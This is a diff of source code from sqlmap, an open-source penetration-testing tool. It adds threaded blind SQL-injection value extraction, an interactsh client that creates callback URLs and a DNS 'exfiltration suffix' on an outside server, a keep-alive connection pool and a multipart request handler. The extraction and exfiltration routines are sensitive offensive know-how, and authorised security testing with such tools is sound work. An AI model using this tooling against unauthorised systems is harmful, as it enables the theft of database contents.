def valueParallelEligible():
|
||||
"""
|
||||
Whether blind enumeration/dumping should take the value-parallel path (one whole value per worker)
|
||||
rather than the classic char loop. It is chosen for concurrency ('--threads') and, independently, to
|
||||
render a single whole-job progress bar/ETA ('--eta'). A concurrency-safe channel - boolean or the
|
||||
HTTP/2 timeless oracle - qualifies with either. Classic time-based qualifies only single-threaded under
|
||||
'--eta': concurrent SLEEP measurements interfere, so it must stay sequential (where it is safe, and
|
||||
still gets the whole-job ETA that matters most for the slowest channel). Callers add their own extra
|
||||
guards (e.g. '--dns-domain', per-column comments).
|
||||
"""
|
||||
|
||||
concurrencySafe = isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None
|
||||
|
||||
if conf.threads > 1:
|
||||
return concurrencySafe
|
||||
if conf.eta:
|
||||
return concurrencySafe or isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME)
|
||||
return False
|
||||
|
||||
def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False):
|
||||
"""
|
||||
Value-parallel blind retrieval.
|
||||
|
||||
Retrieve many independent values concurrently, ONE whole value per worker thread, each decoded
|
||||
sequentially via bisection with length=None - so there is NO per-value length probe (unlike the
|
||||
position-parallel path, which must probe LENGTH() to split a value's characters across threads) and
|
||||
the sequential prefix lets predictive inference / low-cardinality guessing / the per-column Huffman
|
||||
model work. This parallelizes across VALUES instead of character positions - the right axis for the
|
||||
MANY short values of table/column NAME enumeration (context="Tables"/"Columns" tags kb.partRun so
|
||||
predictValue() consults the wordlist) and, with dump=True, of per-column data dumping (Huffman and
|
||||
low-cardinality guessing engage). It bypasses getValue()'s @lockedmethod the same way union/error
|
||||
row-threading calls _oneShotUnionUse directly. `exprBuilder(index)` yields the per-value expression.
|
||||
Returns a list aligned with `indices` (None where a value could not be retrieved); single-thread is
|
||||
just sequential retrieval (no worse than the classic loop, and still without the length probe).
|
||||
"""
|
||||
|
||||
indices = list(indices)
|
||||
|
||||
# Snapshot the raw per-thread technique (may be None) so the finally can restore it verbatim -
|
||||
# getTechnique() would fall back to kb.technique, and a None result there used to skip the restore
|
||||
# entirely, leaking the BOOLEAN/TIME we set below onto the calling thread for every later caller.
|
||||
savedTechnique = getCurrentThreadData().technique
|
||||
|
||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
|
||||
setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN)
|
||||
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
|
||||
setTechnique(PAYLOAD.TECHNIQUE.TIME)
|
||||
else:
|
||||
return None
|
||||
|
||||
try:
|
||||
initTechnique(getTechnique())
|
||||
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector)))
|
||||
except:
|
||||
setTechnique(savedTechnique) # these run before the runThreads try/finally below, so restore here too
|
||||
raise
|
||||
|
||||
results = [None] * len(indices)
|
||||
cursor = iter(xrange(len(indices)))
|
||||
|
||||
# With '--eta' show a single value-level bar (values completed / total) instead of the per-value
|
||||
# stream: it is monotonic and carries a meaningful ETA across the whole set, and - unlike the
|
||||
# per-char bar drawn inside bisection() - it survives the worker's disableStdOut (drawn forced,
|
||||
# below), so '--eta' is honoured under '--threads' too. Skipped for trivial single-value sets.
|
||||
etaProgress = ProgressBar(maxValue=len(indices)) if (conf.eta and len(indices) > 1) else None
|
||||
completed = [0]
|
||||
|
||||
def inferenceThread():
|
||||
threadData = getCurrentThreadData()
|
||||
# Each per-value bisection streams its characters to stdout and mirrors them into
|
||||
# threadData.shared.value - which is a PROCESS-GLOBAL object. Left as-is, concurrent
|
||||
# workers interleave their character output (garbled console) and stomp each other's
|
||||
# partial value. So suppress the per-char streaming here and give each worker a private
|
||||
# shared-state object; a single clean line/counter is printed per completed value below.
|
||||
threadData.disableStdOut = True
|
||||
threadData.shared = AttribDict()
|
||||
|
||||
while kb.threadContinue:
|
||||
with kb.locks.limit:
|
||||
try:
|
||||
slot = next(cursor)
|
||||
except StopIteration:
|
||||
break
|
||||
|
||||
expression = exprBuilder(indices[slot])
|
||||
try:
|
||||
_, value = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump)
|
||||
# Self-verify each value: sustained concurrent boolean load on a flaky/WAF'd target can flip
|
||||
# a bisection bit (raw retrieval has no per-char validation), so confirm the whole value and
|
||||
# re-extract on mismatch. ASCII values use ONE fast equality probe; a value carrying non-ASCII
|
||||
# (which a quoted literal may not round-trip, AND which is itself a common corruption symptom)
|
||||
# is instead confirmed by an INDEPENDENT re-extraction having to agree - a random flip will not
|
||||
# reproduce the same bytes twice. Bounded to a few tries; correctness over a marginal request.
|
||||
tries = 0
|
||||
while not isNoneValue(value) and not threadData.lowCardHit and tries < 3:
|
||||
verdict = _verifyInferredValue(expression, value)
|
||||
if verdict is True:
|
||||
break
|
||||
tries += 1
|
||||
_, other = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump)
|
||||
if verdict is None and other == value: # two independent extractions agree -> trust it
|
||||
break
|
||||
value = other # equality said wrong, or the two disagree -> adopt fresh, recheck
|
||||
except Exception as ex:
|
||||
logger.debug("parallel retrieval worker failed at slot %d ('%s')" % (slot, ex))
|
||||
value = None
|
||||
|
||||
with kb.locks.value:
|
||||
results[slot] = value
|
||||
|
||||
if etaProgress is not None:
|
||||
with kb.locks.io:
|
||||
completed[0] += 1
|
||||
threadData.disableStdOut = False # let the value-level bar through (per-char streaming stays muted)
|
||||
try:
|
||||
etaProgress.progress(completed[0])
|
||||
finally:
|
||||
threadData.disableStdOut = True
|
||||
|
||||
# Stream each retrieved value as it completes (they arrive out of order under threads, exactly
|
||||
# like the error/union dumps), so a dump shows its data live rather than a silent counter.
|
||||
elif conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value):
|
||||
with kb.locks.io:
|
||||
rendered = safecharencode(unArrayizeValue(value))
|
||||
dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True)
|
||||
|
||||
# Keep the '--eta' countdown live between value updates: a value (esp. time-based) can take many
|
||||
# seconds, so a daemon redraws the bar every second with the ETA decremented by elapsed time (it runs
|
||||
# on its own thread, so it is not muted by the workers' disableStdOut, and shares kb.locks.io with them).
|
||||
etaTickerStop = threading.Event()
|
||||
etaTicker = None
|
||||
if etaProgress is not None and IS_TTY:
|
||||
def _etaTicker():
|
||||
while not etaTickerStop.wait(1.0):
|
||||
with kb.locks.io:
|
||||
etaProgress.tick()
|
||||
etaTicker = threading.Thread(target=_etaTicker, name="eta-ticker")
|
||||
setDaemon(etaTicker)
|
||||
etaTicker.start()
|
||||
|
||||
# Save/restore the calling thread's state: with a single thread runThreads runs the worker
|
||||
# INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out.
|
||||
savedPartRun = kb.partRun
|
||||
mainThreadData = getCurrentThreadData()
|
||||
savedStdOut, savedShared = mainThreadData.disableStdOut, mainThreadData.shared
|
||||
kb.partRun = context
|
||||
try:
|
||||
runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread)
|
||||
finally:
|
||||
etaTickerStop.set()
|
||||
if etaTicker is not None:
|
||||
etaTicker.join(timeout=2)
|
||||
kb.partRun = savedPartRun
|
||||
mainThreadData.disableStdOut = savedStdOut
|
||||
mainThreadData.shared = savedShared
|
||||
setTechnique(savedTechnique)
|
||||
|
||||
# Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is
|
||||
# re-extracted serially via the classic getValue() path - full error handling, and a persistent error
|
||||
# surfaces there - rather than being silently returned as an empty value.
|
||||
for slot in xrange(len(results)):
|
||||
if results[slot] is None and kb.threadContinue:
|
||||
results[slot] = getValue(exprBuilder(indices[slot]), union=False, error=False, dump=dump, charsetType=charsetType)
|
||||
|
||||
return results
|
||||
|
||||
@lockedmethod
|
||||
@stackedmethod
|
||||
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import time
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import OOB_CORRELATION_ID_LENGTH
|
||||
from lib.core.settings import OOB_INTERACTSH_SERVERS
|
||||
from lib.core.settings import OOB_NONCE_LENGTH
|
||||
|
||||
# The interactsh client needs RSA-OAEP(SHA-256) + AES-256-CTR. pycryptodome is an
|
||||
# optional dependency (sqlmap already uses it opportunistically in lib/utils/hash.py);
|
||||
# without it the OOB tier is simply skipped rather than erroring.
|
||||
try:
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Cipher import PKCS1_OAEP
|
||||
from Crypto.Hash import SHA256
|
||||
from Crypto.PublicKey import RSA
|
||||
_HAS_CRYPTO = True
|
||||
except ImportError:
|
||||
_HAS_CRYPTO = False
|
||||
|
||||
|
||||
def hasCrypto():
|
||||
return _HAS_CRYPTO
|
||||
|
||||
|
||||
class Interactsh(object):
|
||||
"""Minimal interactsh client: registers a per-scan RSA key with a public (or
|
||||
self-hosted) interactsh server, hands out unique callback URLs, and polls for
|
||||
the DNS/HTTP interactions they trigger. Interactions are RSA/AES encrypted on
|
||||
the wire and decrypted locally, so the server operator never sees their content.
|
||||
All HTTP goes through sqlmap's own request stack (proxy/timeout honoured)."""
|
||||
|
||||
def __init__(self, server=None, token=None):
|
||||
self.server = None
|
||||
self.token = token or conf.get("oobToken")
|
||||
self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True)
|
||||
self.secret = randomStr(32, lowercase=True)
|
||||
self.registered = False
|
||||
self._key = None
|
||||
self._dnsNonce = None
|
||||
|
||||
if not _HAS_CRYPTO:
|
||||
return
|
||||
|
||||
self._key = RSA.generate(2048)
|
||||
pubKey = getText(base64.b64encode(getBytes(self._key.publickey().export_key(format="PEM"))))
|
||||
candidates = [server] if server else list(OOB_INTERACTSH_SERVERS)
|
||||
|
||||
for candidate in candidates:
|
||||
if not candidate:
|
||||
continue
|
||||
body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId})
|
||||
if self._request("https://%s/register" % candidate, post=body):
|
||||
self.server = candidate
|
||||
self.registered = True
|
||||
logger.debug("registered with OOB interaction server '%s'" % candidate)
|
||||
break
|
||||
|
||||
def _request(self, url, post=None):
|
||||
"""Direct request to the interactsh server (a fixed service, never the target).
|
||||
Self-contained on urllib so it works regardless of sqlmap's request-stack init
|
||||
order (it is also called during option setup, before getPage is usable); honours
|
||||
--proxy and tolerates self-signed certs like the rest of sqlmap. Returns the
|
||||
response body text on success, otherwise None."""
|
||||
try:
|
||||
import ssl
|
||||
try:
|
||||
from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
|
||||
except ImportError:
|
||||
from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
|
||||
|
||||
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
|
||||
if self.token:
|
||||
headers[HTTP_HEADER.AUTHORIZATION] = self.token
|
||||
|
||||
handlers = []
|
||||
try:
|
||||
# Verify TLS for the (public, valid-cert) interaction server by default;
|
||||
# only skip verification when the user has globally opted out (--force-ssl-verify
|
||||
# off / verifyCert False), matching sqlmap's own TLS posture.
|
||||
context = ssl.create_default_context()
|
||||
if conf.get("verifyCert") is False:
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
handlers.append(HTTPSHandler(context=context))
|
||||
except Exception:
|
||||
pass
|
||||
if conf.get("proxy"):
|
||||
handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
|
||||
|
||||
request = _Request(url, data=getBytes(post) if post is not None else None, headers=headers)
|
||||
response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
|
||||
return getText(response.read())
|
||||
except Exception as ex:
|
||||
logger.debug("OOB request to '%s' failed: %s" % (url, getText(ex)))
|
||||
return None
|
||||
|
||||
def url(self):
|
||||
"""Return a fresh unique callback URL (host = correlationId + nonce)."""
|
||||
nonce = randomStr(OOB_NONCE_LENGTH, lowercase=True)
|
||||
return "http://%s%s.%s" % (self.correlationId, nonce, self.server)
|
||||
|
||||
def dnsDomain(self):
|
||||
"""Stable domain suffix (host = correlationId + a fixed nonce) usable as an
|
||||
exfiltration suffix - additional labels prepended by a payload still resolve
|
||||
to this correlation id, so every DNS lookup under it is captured."""
|
||||
if not self._dnsNonce:
|
||||
self._dnsNonce = randomStr(OOB_NONCE_LENGTH, lowercase=True)
|
||||
return "%s%s.%s" % (self.correlationId, self._dnsNonce, self.server)
|
||||
|
||||
def dnsNames(self):
|
||||
"""Poll and return the fully-qualified names (minus the server suffix) of the
|
||||
DNS lookups captured so far, e.g. 'prefix.<hex>.suffix.<correlationId><nonce>'."""
|
||||
return [_.get("full-id") for _ in self.poll() if _.get("protocol") == "dns" and _.get("full-id")]
|
||||
|
||||
def poll(self):
|
||||
"""Return the list of decrypted interaction records captured so far."""
|
||||
if not self.registered:
|
||||
return []
|
||||
|
||||
page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret))
|
||||
if not page:
|
||||
return []
|
||||
|
||||
try:
|
||||
response = json.loads(page)
|
||||
except ValueError:
|
||||
return []
|
||||
|
||||
retVal = []
|
||||
data = response.get("data") or []
|
||||
if data:
|
||||
try:
|
||||
aesKey = PKCS1_OAEP.new(self._key, hashAlgo=SHA256).decrypt(base64.b64decode(response["aes_key"]))
|
||||
except Exception as ex:
|
||||
logger.debug("OOB AES key decryption failed: %s" % getText(ex))
|
||||
return []
|
||||
|
||||
for item in data:
|
||||
try:
|
||||
raw = base64.b64decode(item)
|
||||
plain = AES.new(aesKey, AES.MODE_CTR, nonce=b"", initial_value=raw[:AES.block_size]).decrypt(raw[AES.block_size:])
|
||||
retVal.append(json.loads(getText(plain)))
|
||||
except Exception as ex:
|
||||
logger.debug("OOB interaction decryption failed: %s" % getText(ex))
|
||||
|
||||
return retVal
|
||||
|
||||
def pollUntil(self, attempts, delay):
|
||||
"""Poll repeatedly, returning as soon as any interaction is captured."""
|
||||
for _ in range(attempts):
|
||||
time.sleep(delay)
|
||||
interactions = self.poll()
|
||||
if interactions:
|
||||
return interactions
|
||||
return []
|
||||
|
||||
def close(self):
|
||||
if self.registered:
|
||||
body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret})
|
||||
self._request("https://%s/deregister" % self.server, post=body)
|
||||
self.registered = False
|
||||
@@ -0,0 +1,347 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
|
||||
from lib.core.settings import KEEPALIVE_IDLE_TIMEOUT
|
||||
from lib.core.settings import KEEPALIVE_MAX_REQUESTS
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
# Note: prior to Python 2.4 it was the HTTP handler's job to decide what to handle
|
||||
# specially; since 2.4 that belongs to HTTPErrorProcessor, hence everything is passed up
|
||||
HANDLE_ERRORS = 0
|
||||
|
||||
class _ConnectionPool(threading.local):
|
||||
"""
|
||||
Per-thread pool of reusable persistent connections.
|
||||
|
||||
Keeping one connection per (scheme, host) and per worker thread is what
|
||||
keeps Keep-Alive safe under '--threads': a socket is never shared between
|
||||
threads, so concurrent requests can never interleave on the same wire (the
|
||||
classic cause of response desynchronization). Synchronous reuse within a
|
||||
single thread is fine because the previous response is always fully drained
|
||||
before the next request is issued (see L{_KeepAliveResponseMixin}).
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.conns = {} # key -> [connection, request_count, last_used]
|
||||
|
||||
class _KeepAliveHandler(object):
|
||||
def __init__(self):
|
||||
self._pool = _ConnectionPool()
|
||||
|
||||
def _take(self, key):
|
||||
"""
|
||||
Returns a (still usable) pooled connection for L{key} or None
|
||||
"""
|
||||
|
||||
entry = self._pool.conns.pop(key, None)
|
||||
|
||||
if entry is not None:
|
||||
conn, count, last = entry
|
||||
if (time.time() - last) <= KEEPALIVE_IDLE_TIMEOUT and count < KEEPALIVE_MAX_REQUESTS:
|
||||
return conn, count
|
||||
|
||||
# Too old or too heavily used; drop it
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return None, 0
|
||||
|
||||
def _give_back(self, key, conn, count):
|
||||
self._pool.conns[key] = [conn, count, time.time()]
|
||||
|
||||
@staticmethod
|
||||
def _takeTunnelHeaders(req):
|
||||
"""
|
||||
Pops the Proxy-Authorization header off L{req} (returning it as a dict) so it rides on the
|
||||
CONNECT request only and is never forwarded through the tunnel to the origin server, mirroring
|
||||
the stock C{urllib.request.AbstractHTTPHandler.do_open} tunnel setup
|
||||
"""
|
||||
|
||||
result = {}
|
||||
for store in (getattr(req, "unredirected_hdrs", None), getattr(req, "headers", None)):
|
||||
if store:
|
||||
for name in list(store):
|
||||
if name.lower() == "proxy-authorization":
|
||||
result[name] = store.pop(name)
|
||||
return result
|
||||
|
||||
def do_open(self, req):
|
||||
# Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since
|
||||
# 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2
|
||||
host = req.host if hasattr(req, "host") else req.get_host()
|
||||
|
||||
if not host:
|
||||
raise _urllib.error.URLError("no host given")
|
||||
|
||||
# When routed through an HTTP(s) proxy, ProxyHandler has already rewritten the request: for a
|
||||
# plain-HTTP target 'host' is the proxy and the selector is absolute; for an HTTPS target
|
||||
# '_tunnel_host' holds the origin reached via a CONNECT tunnel. Pool by the tunnel origin when
|
||||
# tunneling (each origin needs its own tunnelled socket) and by 'host' otherwise (one HTTP-proxy
|
||||
# socket serves many origins, and a direct connection is keyed by its own host exactly as before).
|
||||
tunnelHost = getattr(req, "_tunnel_host", None)
|
||||
tunnelHeaders = self._takeTunnelHeaders(req) if tunnelHost else None
|
||||
key = "%s://%s" % (self._scheme, tunnelHost or host)
|
||||
|
||||
conn, count = self._take(key)
|
||||
reused = conn is not None
|
||||
|
||||
try:
|
||||
if reused:
|
||||
# A pooled socket may have been closed by the server in the
|
||||
# meantime; treat any failure (or a bogus HTTP/0.9 reply, which
|
||||
# is httplib's tell-tale for a dead socket) as a stale connection
|
||||
try:
|
||||
self._send_request(conn, req)
|
||||
response = conn.getresponse()
|
||||
if response is None or getattr(response, "version", 0) == 9:
|
||||
raise _http_client.HTTPException("stale connection")
|
||||
except (socket.error, _http_client.HTTPException):
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
conn = None
|
||||
reused = False
|
||||
|
||||
if conn is None:
|
||||
conn = self._get_connection(host)
|
||||
if tunnelHost:
|
||||
conn.set_tunnel(tunnelHost, headers=tunnelHeaders or {})
|
||||
count = 0
|
||||
self._send_request(conn, req)
|
||||
response = conn.getresponse()
|
||||
except (socket.error, _http_client.HTTPException) as ex:
|
||||
raise _urllib.error.URLError(ex)
|
||||
|
||||
count += 1
|
||||
|
||||
# Honor an explicit 'Connection: close' even when L{will_close} wasn't set
|
||||
willClose = response.will_close
|
||||
if not willClose:
|
||||
try:
|
||||
headers = getattr(response, "msg", None) or getattr(response, "headers", None)
|
||||
value = headers.get("connection") or headers.get("Connection") if headers else None
|
||||
if value and "close" in value.lower():
|
||||
willClose = True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
keep = not willClose and count < KEEPALIVE_MAX_REQUESTS
|
||||
|
||||
self._adapt(response, req.get_full_url())
|
||||
self._instrument(response, key, conn, count, keep)
|
||||
|
||||
if response.status == 200 or not HANDLE_ERRORS:
|
||||
return response
|
||||
else:
|
||||
return self.parent.error("http", req, response, response.status, response.reason, response.headers)
|
||||
|
||||
def _adapt(self, response, url):
|
||||
"""
|
||||
Makes a raw httplib response indistinguishable from the object normally
|
||||
returned by C{urlopen} (the surface the rest of sqlmap relies on)
|
||||
"""
|
||||
|
||||
headers = getattr(response, "headers", None)
|
||||
if headers is None:
|
||||
headers = response.msg # Python 2: msg holds the parsed headers
|
||||
|
||||
response.url = url
|
||||
response.code = response.status
|
||||
response.headers = headers
|
||||
|
||||
if not hasattr(response, "info"):
|
||||
response.info = lambda headers=headers: headers
|
||||
if not hasattr(response, "geturl"):
|
||||
response.geturl = lambda url=url: url
|
||||
if not hasattr(response, "getcode"):
|
||||
response.getcode = lambda response=response: response.status
|
||||
|
||||
# Note: Python 2's httplib.HTTPResponse lacks readline()/readlines(), which urllib2's
|
||||
# error wrapping (addinfourl, for any non-2xx response) requires; provide them over read()
|
||||
if not hasattr(response, "readline"):
|
||||
response.readline = _makeReadline(response)
|
||||
response.readlines = _makeReadlines(response)
|
||||
|
||||
# Note: must come last as on Python 3 'msg' initially aliases the headers
|
||||
response.msg = response.reason
|
||||
|
||||
def _instrument(self, response, key, conn, count, keep):
|
||||
"""
|
||||
Returns the connection to the pool once (and only once) its body has been
|
||||
fully consumed; otherwise the socket is closed. A partially read response
|
||||
(e.g. sqlmap hitting a size cap) leaves unread bytes on the wire, so such
|
||||
a connection is never reused.
|
||||
"""
|
||||
|
||||
# 'eof' is raised only on a genuine end-of-body (observed while reading), never
|
||||
# merely because close() nulled the file object; the socket is handed back to the
|
||||
# pool solely on that signal, so a half-read response can never be reused (which
|
||||
# would splice its leftover bytes onto the next request - response desynchronization)
|
||||
state = {"handled": False, "reading": False, "eof": False}
|
||||
_read = response.read
|
||||
_close = response.close
|
||||
|
||||
def drained():
|
||||
checker = getattr(response, "isclosed", None)
|
||||
if callable(checker):
|
||||
try:
|
||||
return checker()
|
||||
except Exception:
|
||||
return False
|
||||
return getattr(response, "fp", None) is None
|
||||
|
||||
def settle():
|
||||
# Once (and only once) the body is fully drained, decide the socket's fate
|
||||
if state["handled"] or not state["eof"]:
|
||||
return
|
||||
state["handled"] = True
|
||||
if keep:
|
||||
self._give_back(key, conn, count)
|
||||
else:
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def read(*args, **kwargs):
|
||||
state["reading"] = True
|
||||
try:
|
||||
data = _read(*args, **kwargs)
|
||||
finally:
|
||||
state["reading"] = False
|
||||
if drained():
|
||||
state["eof"] = True
|
||||
settle()
|
||||
return data
|
||||
|
||||
def close():
|
||||
# Note: on Python 2 httplib.read() calls close() itself upon EOF, i.e. from inside
|
||||
# our read(); such an in-read close marks a real end-of-body. An external close()
|
||||
# on a not-yet-drained body means the caller abandoned it (e.g. sqlmap hitting a
|
||||
# size cap), so the socket must be dropped rather than returned to the pool.
|
||||
if state["reading"]:
|
||||
state["eof"] = True
|
||||
_close()
|
||||
settle()
|
||||
if not state["handled"]:
|
||||
# Closed before the body was fully consumed; unsafe to reuse
|
||||
state["handled"] = True
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
response._keepaliveManaged = True
|
||||
response.read = read
|
||||
response.close = close
|
||||
|
||||
class HTTPKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPHandler):
|
||||
_scheme = "http"
|
||||
|
||||
def __init__(self):
|
||||
_KeepAliveHandler.__init__(self)
|
||||
|
||||
def http_open(self, req):
|
||||
return self.do_open(req)
|
||||
|
||||
def _get_connection(self, host):
|
||||
return _http_client.HTTPConnection(host)
|
||||
|
||||
def _send_request(self, conn, req):
|
||||
_sendRequest(conn, req)
|
||||
|
||||
class HTTPSKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPSHandler):
|
||||
_scheme = "https"
|
||||
|
||||
def __init__(self):
|
||||
_KeepAliveHandler.__init__(self)
|
||||
|
||||
def https_open(self, req):
|
||||
return self.do_open(req)
|
||||
|
||||
def _get_connection(self, host):
|
||||
# Note: reuses sqlmap's SSL-negotiating connection (lib/request/httpshandler.py)
|
||||
from lib.request.httpshandler import HTTPSConnection
|
||||
from lib.request.httpshandler import ssl
|
||||
return HTTPSConnection(host) if ssl else _http_client.HTTPSConnection(host)
|
||||
|
||||
def _send_request(self, conn, req):
|
||||
_sendRequest(conn, req)
|
||||
|
||||
def _sendRequest(conn, req):
|
||||
"""
|
||||
Issues L{req} on the (possibly reused) low-level connection L{conn}
|
||||
"""
|
||||
|
||||
data = getattr(req, "data", None)
|
||||
method = req.get_method() or ("POST" if data is not None else "GET")
|
||||
selector = req.selector if hasattr(req, "selector") else req.get_selector()
|
||||
|
||||
try:
|
||||
conn.putrequest(method, selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
|
||||
|
||||
if data is not None:
|
||||
if not req.has_header("Content-type"):
|
||||
conn.putheader("Content-type", "application/x-www-form-urlencoded")
|
||||
if not req.has_header("Content-length"):
|
||||
conn.putheader("Content-length", "%d" % len(data))
|
||||
except (socket.error, _http_client.HTTPException) as ex:
|
||||
raise _urllib.error.URLError(ex)
|
||||
|
||||
if not req.has_header("Connection"):
|
||||
conn.putheader("Connection", "keep-alive")
|
||||
|
||||
for key, value in req.header_items():
|
||||
conn.putheader(key, value)
|
||||
|
||||
conn.endheaders()
|
||||
|
||||
if data is not None:
|
||||
conn.send(data)
|
||||
|
||||
def _makeReadline(response):
|
||||
"""
|
||||
A buffered readline() over response.read() (Python 2 httplib.HTTPResponse lacks one)
|
||||
"""
|
||||
|
||||
buffer = {"data": b""}
|
||||
|
||||
def readline(*args, **kwargs):
|
||||
while b"\n" not in buffer["data"]:
|
||||
chunk = response.read(8192)
|
||||
if not chunk:
|
||||
break
|
||||
buffer["data"] += chunk
|
||||
data = buffer["data"]
|
||||
index = data.find(b"\n")
|
||||
if index == -1:
|
||||
buffer["data"] = b""
|
||||
return data
|
||||
buffer["data"] = data[index + 1:]
|
||||
return data[:index + 1]
|
||||
|
||||
return readline
|
||||
|
||||
def _makeReadlines(response):
|
||||
def readlines(*args, **kwargs):
|
||||
result = []
|
||||
while True:
|
||||
line = response.readline()
|
||||
if not line:
|
||||
break
|
||||
result.append(line)
|
||||
return result
|
||||
|
||||
return readlines
|
||||
@@ -0,0 +1,89 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import io
|
||||
import mimetypes
|
||||
import re
|
||||
|
||||
from lib.core.compat import choose_boundary
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
# Controls how sequences are encoded: if True, an element may be given multiple values by assigning a sequence
|
||||
DOSEQ = True
|
||||
|
||||
class MultipartPostHandler(_urllib.request.BaseHandler):
|
||||
"""
|
||||
urllib handler that transparently encodes a dict request body as multipart/form-data when it carries
|
||||
file-like values (and as a plain urlencoded body otherwise). Native replacement for the historically
|
||||
vendored 'thirdparty/multipart/multipartpost.py' (Will Holcomb, 2006); the logic already relied on
|
||||
sqlmap's own helpers, so it now lives here as a first-class request handler.
|
||||
"""
|
||||
|
||||
handler_order = _urllib.request.HTTPHandler.handler_order - 10 # must run before the HTTP handler
|
||||
|
||||
def http_request(self, request):
|
||||
data = request.data
|
||||
|
||||
if isinstance(data, dict):
|
||||
files, variables = [], []
|
||||
|
||||
try:
|
||||
for key, value in data.items():
|
||||
if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase):
|
||||
files.append((key, value))
|
||||
else:
|
||||
variables.append((key, value))
|
||||
except TypeError:
|
||||
raise SqlmapDataException("not a valid non-string sequence or mapping object")
|
||||
|
||||
if not files:
|
||||
data = _urllib.parse.urlencode(variables, DOSEQ)
|
||||
else:
|
||||
boundary, data = self.multipartEncode(variables, files)
|
||||
request.add_unredirected_header("Content-Type", "multipart/form-data; boundary=%s" % boundary)
|
||||
|
||||
request.data = data
|
||||
|
||||
# normalize bare LF to CRLF inside a multipart body (Reference: https://github.com/sqlmapproject/sqlmap/issues/4235)
|
||||
if request.data:
|
||||
for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data):
|
||||
part = match.group(0)
|
||||
if b'\r' not in part:
|
||||
request.data = request.data.replace(part, part.replace(b'\n', b"\r\n"))
|
||||
|
||||
return request
|
||||
|
||||
def multipartEncode(self, variables, files, boundary=None):
|
||||
boundary = boundary or choose_boundary()
|
||||
buffer_ = b""
|
||||
|
||||
for key, value in variables:
|
||||
if key is not None and value is not None:
|
||||
buffer_ += b"--%s\r\n" % getBytes(boundary)
|
||||
buffer_ += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key)
|
||||
buffer_ += b"\r\n\r\n" + getBytes(value) + b"\r\n"
|
||||
|
||||
for key, fd in files:
|
||||
filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1]
|
||||
try:
|
||||
contentType = mimetypes.guess_type(filename)[0] or b"application/octet-stream"
|
||||
except Exception:
|
||||
# Reference: http://bugs.python.org/issue9291
|
||||
contentType = b"application/octet-stream"
|
||||
